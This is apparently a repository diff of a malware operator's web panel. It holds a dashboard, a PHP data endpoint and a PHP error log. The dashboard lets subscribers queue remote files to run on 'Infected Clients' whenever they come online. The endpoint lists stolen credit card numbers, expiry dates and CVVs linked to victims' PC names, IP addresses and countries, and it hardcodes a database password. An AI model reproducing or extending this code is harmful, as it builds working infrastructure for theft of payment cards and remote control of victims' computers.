</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $myaktv; ?>
</h1>
</div>
</div>
</div>
<div class="3 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-clipboard text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Total Cards</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $mystole; ?>
</h1>
</div>
</div>
</div>
<a href="https://<?php echo $domainyess; ?>/Subscriptions" class="block">
<div class="4 bg rounded-lg px-5 py-5 btn cursor-pointer hover:opacity-90 transition">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-money-bill text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Subscription</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $role; ?>
</h1>
</div>
</div>
</div>
</a>
</div>
<div class="grid xl:grid-cols-6 gap-5 mt-5">
<!-- RAVEN ADDRESS -->
<div class="xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 h-max btn2">
<div class="grid grid-cols-2">
<div>
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400">
<i class="fa-solid fa-plus mr-1 icon2"></i> Add Automation
</h1>
</div>
<div class="text-right"></div>
</div>
<hr class="mx-5 mt-2 border-stone-800">
<form method="post">
<div class="flex mx-5 mt-5 space-x-2">
<div class="w-full">
<div class="sc-container mt-2">
<input id="powar" name="powar" data-sc=""
class="smoothCaretInput rounded-lg py-2 px-3 text-stone-400 dg"
placeholder="Recommended services for file host: github.com, catbox.moe || This file is going to be executed everytime Infected Clients go Online."
type="text">
<div class="caret bgCol" style="width: 2px; height: 60%;"></div>
</div>
</div>
</div>
<div class="flex mx-5 mt-3 space-x-2">
<button id="savv" type="submit" name="savv"
class="dg w-full py-2 rounded-lg text-stone-400 fntBold tracking-wide btn hvr-underline-from-center">
<i class="fa-solid fa-floppy-disk mr-1 icon"></i>
Add Automation
</button>
</div>
</form>
</div>
</div>
<div class="rounded-lg mt-5 bg pb-5 btn2"> <!-- TABLE -->
<div class="grid grid-cols-2">
<div class="1">
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400">
<i class="fa-solid fa-play mr-1 icon2"></i>
<span id="cookiesHeaderText"> Automations</span>
</h1>
<i id="loadingIcon" class="fas fa-spinner fa-spin ml-2" style="display: none;"></i>
</div>
<style>
.entry-search-container {
display: flex;
align-items: center;
/* Vertically center the items */
}
</style>
<div class="2 text-right mx-5 mt-2">
<div class="grid grid-cols-4 gap-5">
<div class="0">
<h1 style="color: #111111;">s</h1>
</div>
<div class="1">
<select id="entriesSelect" class="text-stone-400 dg px-2 py-2 rounded-lg">
<option value="3">3</option>
<option value="5">5</option>
<option value="10">10</option>
<option value="25">25</option>
<option value="50">50</option>
<option value="75">75</option>
<option value="100">100</option>
</select>
</div>
<div class="2 col-span-2">
<div class="sc-container">
<input data-sc="" id="searchInput"
class="smoothCaretInput dg py-2 px-3 rounded-lg text-stone-400"
placeholder="Search Logs" type="text">
<div class="caret" style="width: 2px; height: 60%; background-color: #850000;">
</div>
</div>
</div>
</div>
<!-- Entry Number Drop-down (small square) -->
</div>
</div>
<hr class="mx-5 mt-2 border-stone-800">
<div class="table-responsive">
<table id="DashTable" class="table-fixed w-full mt-5">
<thead class="">
<tr class="text-center">
<th scope="col"
class="text-stone-400 font-Poppins font-semibold tracking-wide border-b brdDg pb-2">
ID</th>
<th scope="col"
class="text-stone-400 font-Poppins font-semibold tracking-wide border-b brdDg pb-2">
Automation</th>
<th scope="col"
class="text-stone-400 font-Poppins font-semibold tracking-wide border-b brdDg pb-2">
Type</th>
<th scope="col"
class="text-stone-400 font-Poppins font-semibold tracking-wide border-b brdDg pb-2">
Options</th>
</tr>
<script>
function deleteRecord(id) {
if (confirm('Are you sure you want to delete this automation?')) {
// Create a hidden form and submit it with the ID
var form = document.createElement('form');
form.method = 'post';
form.action = '';
var input = document.createElement('input');
input.type = 'hidden';
input.name = 'id';
input.value = id;
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
}
function opensite(url) {
window.open(url);
}
function copyText(element) {
/* Copy text into clipboard */
navigator.clipboard.writeText(element);
}
</script>
</thead>
<tbody id="logsContent" class="mt-5">
<style>
.hover-link {
color: white;
/* Initial color */
transition: color 0.3s ease-in-out;
/* Color transition with animation */
}
.hover-link:hover {
color: #f54b42;
/* Color on hover */
}
input::placeholder {
color: #a8a29e;
}
</style>
</tbody>
</table>
</div>
<script>
// Function to refresh the DataTable
function refreshDataTable() {
var table = $('#DashTable').DataTable();
table.ajax.reload(null, false); // Reload without resetting page
}
// Function to initialize the DataTable
function initializeDataTable() {
// Initialize DataTable with server-side processing
var table = $('#DashTable').DataTable({
serverSide: true,
"lengthMenu": [3, 5, 10, 25, 50, 75, 100],
"language": {
"search": "Search Data: " // Replace with your custom text
},
ajax: {
url: 'autoloklaka984.php', // Replace with the correct path to your PHP script
type: 'POST',
beforeSend: function() {
// Show the header text with a loading animation
$('#cookiesHeaderText').html(' Automations <i class="fas fa-spinner fa-spin"></i>');
},
complete: function() {
// Restore the header text to "Cookies" after the data is loaded
$('#cookiesHeaderText').html(' Automations');
}
},
columns: [{
data: 0
},
{
data: 1
},
{
data: 2
},
{
data: 3
}
],
paging: true,
ordering: true,
dom: 'lrtip' // This specifies the DataTables elements to display
});
// Add an event listener to your custom search input
$('#searchInput').on('keyup', function() {
// Get the input value
var inputValue = $(this).val();
// Use DataTables' search() method to filter the table
table.search(inputValue).draw();
});
// Add an event listener to the entry number drop-down
$('#entriesSelect').on('change', function() {
// Get the selected value
var selectedValue = $(this).val();
// Change the number of entries displayed per page
table.page.len(selectedValue).draw();
});
// Hide the default DataTables length dropdown
$('div.dataTables_length').css('display', 'none');
// Optionally, you can remove the label as well
$('label[for="DashTable_length"]').css('display', 'none');
}
// Call the initializeDataTable function on page load
$(document).ready(function() {
initializeDataTable();
// Refresh the DataTable every 1 minute (60000 milliseconds)
setInterval(refreshDataTable, 60000);
});
</script>
</div>
</div>
</div> <!-- end -->
<script src="../assets/js/status.js"></script>
<script src="../assets/js/builder.js"></script>
<style>
input::placeholder {
color: #a8a29e;
}
</style>
<script>
document.addEventListener("DOMContentLoaded", function() {
// Wait for fonts and stylesheets
Promise.all([
document.fonts.ready,
new Promise(resolve => {
// Check if all stylesheets are loaded
const styleSheets = Array.from(document.styleSheets);
if (styleSheets.every(sheet => sheet.loaded !== false)) {
resolve();
} else {
window.addEventListener('load', resolve);
}
})
]).then(() => {
const overlay = document.querySelector('.loading-overlay');
// Add the fade-out class
overlay.classList.add('fade-out');
// Remove the element after the transition completes
overlay.addEventListener('transitionend', function() {
overlay.parentNode.removeChild(overlay);
}, {
once: true
});
});
});
// Preload custom fonts if you're using any
const fonts = ['Kanit'];
fonts.forEach(font => {
new FontFace(font, `url(path/to/${font}.woff2)`)
.load()
.then(loadedFont => document.fonts.add(loadedFont));
});
</script>
</body>
</html>
Binary file not shown.
File diff suppressed because it is too large Load Diff
Binary file not shown.
@@ -0,0 +1,276 @@
<?php
session_start();
// Set content type to JSON
header('Content-Type: application/json');
// Validate session data
$role = $_SESSION['Role'] ?? '';
$secretkey = $_SESSION['secret_key'] ?? '';
/**
* Validate string length
*/
function isStringLengthGreaterThan5($inputString) {
return is_string($inputString) && strlen($inputString) > 5;
}
/**
* Enhanced input sanitization with strict validation
*/
function sanitizeInput($input) {
if (!is_string($input) || empty($input)) {
return '';
}
// Define forbidden characters and SQL keywords
$forbiddenChars = ['(', ')', '=', '*', ';', '--', '/*', '*/', 'union', 'select', 'insert', 'update', 'delete', 'drop'];
$input_lower = strtolower($input);
// Check for forbidden characters and SQL keywords
foreach ($forbiddenChars as $char) {
if (strpos($input_lower, strtolower($char)) !== false) {
return '';
}
}
return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
}
/**
* Validate user permissions
*/
function validateUserPermissions($role, $secretkey) {
if (empty($role) || empty($secretkey)) {
return false;
}
$validRoles = ['Founder', 'Admin', 'Special', 'Premium', 'Trial', 'User'];
return in_array($role, $validRoles);
}
/**
* Create secure database connection using PDO
*/
function createDatabaseConnection() {
$host = 'localhost';
$dbname = 'luckyminer';
$db_username = 'miner';
$db_password = 'Sifre.12345';
try {
$pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $db_username, $db_password);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
return $pdo;
} catch (PDOException $e) {
error_log("Database connection failed: " . $e->getMessage());
return false;
}
}
/**
* Get provider icon based on card provider
*/
function getProviderIcon($provider) {
$providerIcons = [
'Visa' => '<i class="fa-brands fa-cc-visa fa-lg"></i>',
'MasterCard' => '<i class="fa-brands fa-cc-mastercard fa-lg"></i>',
'American Express' => '<i class="fa-brands fa-cc-amex fa-lg"></i>',
'Discover' => '<i class="fa-brands fa-cc-discover fa-lg"></i>',
'UnionPay' => '<i class="fa-solid fa-credit-card fa-lg"></i>'
];
return $providerIcons[$provider] ?? '<i class="fa-solid fa-credit-card fa-lg"></i>';
}
// Main execution
try {
// Validate HTTP method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
throw new Exception('Invalid request method');
}
// Validate session and permissions
if (!validateUserPermissions($role, $secretkey) || !isStringLengthGreaterThan5($secretkey)) {
http_response_code(403);
echo json_encode(['error' => 'Access denied - Invalid session or insufficient permissions']);
exit;
}
// Create database connection
$pdo = createDatabaseConnection();
if (!$pdo) {
http_response_code(500);
echo json_encode(['error' => 'Database connection failed']);
exit;
}
// Validate and sanitize DataTables parameters
$draw = filter_input(INPUT_POST, 'draw', FILTER_VALIDATE_INT);
$start = filter_input(INPUT_POST, 'start', FILTER_VALIDATE_INT);
$length = filter_input(INPUT_POST, 'length', FILTER_VALIDATE_INT);
if ($draw === false || $start === false || $length === false) {
throw new Exception('Invalid DataTables parameters');
}
// Limit length to prevent excessive data retrieval
$length = min($length, 1000);
// Get and validate search value
$searchValue = '';
if (isset($_POST['search']['value'])) {
$rawSearchValue = $_POST['search']['value'];
$sanitizedSearch = sanitizeInput($rawSearchValue);
if (!empty($sanitizedSearch) && strlen($sanitizedSearch) > 0) {
$searchValue = substr($sanitizedSearch, 0, 50); // Limit to 50 chars for security
}
}
// Define sortable columns (whitelist approach)
$sortableColumns = [
0 => 'cards.Numbery',
1 => 'cards.Expiry',
2 => 'cards.CVV',
3 => 'cards.Provider',
4 => 'miners.PcName',
5 => 'miners.IP'
];
// Validate sorting parameters
$orderColumnIndex = filter_input(INPUT_POST, 'order', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY);
$orderColumn = 'cards.Numbery'; // Default sort column
$orderDirection = 'ASC'; // Default sort direction
if (is_array($orderColumnIndex) && isset($orderColumnIndex[0]['column']) && isset($orderColumnIndex[0]['dir'])) {
$columnIndex = intval($orderColumnIndex[0]['column']);
$direction = strtoupper($orderColumnIndex[0]['dir']);
if (isset($sortableColumns[$columnIndex]) && in_array($direction, ['ASC', 'DESC'])) {
$orderColumn = $sortableColumns[$columnIndex];
$orderDirection = $direction;
}
}
// Build base query with role-based filtering
$baseWhere = "WHERE 1 = 1";
$params = [];
// Role-based filtering
if ($role !== "Founder") {
$baseWhere .= " AND cards.OwnerID = :owner_id";
$params['owner_id'] = $secretkey;
}
// Add search conditions if search value exists
$searchWhere = "";
if (!empty($searchValue)) {
$searchWhere = " AND (
cards.Numbery LIKE :search1 OR
cards.Expiry LIKE :search2 OR
cards.CVV LIKE :search3 OR
cards.Provider LIKE :search4 OR
miners.PcName LIKE :search5 OR
miners.Country LIKE :search6
)";
$searchPattern = '%' . $searchValue . '%';
$params['search1'] = $searchPattern;
$params['search2'] = $searchPattern;
$params['search3'] = $searchPattern;
$params['search4'] = $searchPattern;
$params['search5'] = $searchPattern;
$params['search6'] = $searchPattern;
}
// Build the main data query
$dataQuery = "SELECT cards.Numbery, cards.Expiry, cards.CVV, cards.Provider, cards.CardID,
miners.PcName,
CONCAT(miners.IP, ' | ', miners.Country) AS IPCOUNTRaY
FROM cards
LEFT JOIN miners ON cards.HWID = miners.HWID
$baseWhere $searchWhere
ORDER BY $orderColumn $orderDirection
LIMIT :start, :length";
$stmt = $pdo->prepare($dataQuery);
// Bind parameters
foreach ($params as $key => $value) {
$stmt->bindValue(":$key", $value, PDO::PARAM_STR);
}
$stmt->bindValue(':start', $start, PDO::PARAM_INT);
$stmt->bindValue(':length', $length, PDO::PARAM_INT);
$stmt->execute();
$results = $stmt->fetchAll();
// Process results
$data = [];
foreach ($results as $row) {
// Sanitize all output data
$numbery = htmlspecialchars($row['Numbery'] ?? '', ENT_QUOTES, 'UTF-8');
$expiry = htmlspecialchars($row['Expiry'] ?? '', ENT_QUOTES, 'UTF-8');
$cvv = htmlspecialchars($row['CVV'] ?? '', ENT_QUOTES, 'UTF-8');
$provider = htmlspecialchars($row['Provider'] ?? '', ENT_QUOTES, 'UTF-8');
$pcName = htmlspecialchars($row['PcName'] ?? '', ENT_QUOTES, 'UTF-8');
$ipCountry = htmlspecialchars($row['IPCOUNTRaY'] ?? '', ENT_QUOTES, 'UTF-8');
// Get provider icon
$providerIcon = getProviderIcon($row['Provider'] ?? '');
// Create clickable card number with copy functionality
$cardNumberLink = '<a href="javascript:void(0);" class="hover-link" onclick="copyText(\'' . $numbery . '\')">' . $numbery . '</a>';
$data[] = [
$cardNumberLink,
$expiry,
$cvv,
$providerIcon,
$pcName,
$ipCountry
];
}
// Get total count
$countQuery = "SELECT COUNT(cards.CardID) as total
FROM cards
LEFT JOIN miners ON cards.HWID = miners.HWID
$baseWhere $searchWhere";
$countStmt = $pdo->prepare($countQuery);
// Bind the same parameters for count query (excluding LIMIT params)
foreach ($params as $key => $value) {
$countStmt->bindValue(":$key", $value, PDO::PARAM_STR);
}
$countStmt->execute();
$totalRecords = $countStmt->fetch()['total'];
// Prepare response
$response = [
'draw' => $draw,
'recordsTotal' => intval($totalRecords),
'recordsFiltered' => intval($totalRecords),
'data' => $data
];
echo json_encode($response, JSON_UNESCAPED_UNICODE);
} catch (Exception $e) {
// Log error and return generic error response
error_log("Cards DataTables Error: " . $e->getMessage());
http_response_code(500);
echo json_encode([
'draw' => $draw ?? 0,
'recordsTotal' => 0,
'recordsFiltered' => 0,
'data' => [],
'error' => 'An error occurred while processing your request'
]);
}
?>
+776
View File
@@ -0,0 +1,776 @@
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
